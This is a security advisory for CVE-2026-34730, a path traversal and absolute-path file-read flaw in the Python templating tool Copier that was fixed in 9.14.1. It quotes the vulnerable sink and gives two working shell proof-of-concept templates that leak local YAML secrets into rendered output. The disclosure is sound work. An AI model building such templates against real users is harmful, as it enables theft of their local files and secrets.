CVE-2026-34730: Copier Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hgjq-p8cr-gg4h",
  "modified" : "2026-04-06T17:32:36Z",
  "published" : "2026-04-01T22:38:39Z",
  "aliases" : [ "CVE-2026-34730" ],
  "summary" : "Copier `_external_data` allows path traversal and absolute-path local file read without unsafe mode",
  "details" : "### Summary\n\nCopier's `_external_data` feature allows a template to load YAML files using template-controlled paths. The documentation describes these values as relative paths from the subproject destination, so relative paths themselves appear to be part of the intended feature model.\n\nHowever, the current implementation also allows destination-external reads, including:\n\n- Parent-directory paths such as `../secret.yml`\n- Absolute paths such as `/tmp/secret.yml`\n\nand then exposes the parsed contents in rendered output.\n\nThis is possible without `--UNSAFE`, which makes the behavior potentially dangerous when Copier is run against untrusted templates. I am not certain this is unintended behavior, but it is security-sensitive and appears important to clarify.\n\n### Details\n\nThe relevant flow is:\n\n1. A template defines `_external_data`\n2. Copier renders the configured path string\n3. Copier calls `load_answersfile_data(dst_path, rendered_path, warn_on_missing=True)`\n4. `load_answersfile_data()` opens `Path(dst_path, answers_file)` directly\n5. Parsed YAML becomes available as `_external_data.<name>` during rendering\n\nRelevant code:\n\n- <https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_main.py#L329-L332>\n- <https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_user_data.py#L584-L592>\n\nThe sink is:\n\n```python\nwith Path(dst_path, answers_file).open(\"rb\") as fd:\n    return yaml.safe_load(fd)\n```\n\nThere is no containment check to ensure the resulting path stays inside the subproject destination.\n\nThis is notable because Copier already blocks other destination-escape paths. Normal render-path traversal outside the destination is expected to raise `ForbiddenPathError`, and that behavior is explicitly covered by existing tests in <https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/tests/test_copy.py#L1289-L1332>. `_external_data` does not apply an equivalent containment check.\n\nThe public documentation describes `_external_data` values as relative paths \"from the subproject destination\" in <https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L944-L1005>, with examples using `.copier-answers.yml` and `.secrets.yaml`. That clearly supports relative-path usage, but it does not clearly communicate that a template may escape the destination with `../...` or read arbitrary absolute paths. Because this behavior also works without `--UNSAFE`, it seems worth clarifying whether destination-external reads are intended, and if so, whether they should be documented as security-sensitive behavior.\n\n### PoC\n\n#### PoC 1: `_external_data` reads outside the destination with `../`\n\n```sh\nmkdir src dst\necho 'token: topsecret' > secret.yml\n\nprintf '%s\\n' '_external_data:' '  secret: ../secret.yml' > src/copier.yml\nprintf '%s\\n' '{{ _external_data.secret.token }}' > src/leak.txt.jinja\n\ncopier copy --overwrite src dst\ncat dst/leak.txt\n```\n\nExpected output:\n\n```text\ntopsecret\n```\n\n#### PoC 2: `_external_data` reads an absolute path\n\n```sh\nmkdir abs-src abs-dst\necho 'token: abssecret' > absolute-secret.yml\n\nprintf '%s\\n' '_external_data:' \"  secret: $(pwd)/absolute-secret.yml\" > abs-src/copier.yml\nprintf '%s\\n' '{{ _external_data.secret.token }}' > abs-src/leak.txt.jinja\n\ncopier copy --overwrite abs-src abs-dst\ncat abs-dst/leak.txt\n```\n\nExpected output:\n\n```text\nabssecret\n```\n\n### Impact\n\nIf untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output.\n\nPractical impact:\n\n- Destination-external local file read\n- Disclosure of YAML/JSON/plain-text-like secrets if they parse successfully under `yaml.safe_load`\n- Possible without `--UNSAFE`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "copier"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.14.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.14.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/security/advisories/GHSA-hgjq-p8cr-gg4h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34730"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/commit/5413062eb17b73dc885f5e645cdc161e69ef641b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/copier-org/copier"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/releases/tag/v9.14.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T22:38:39Z",
    "nvd_published_at" : "2026-04-02T19:21:32Z"
  }
}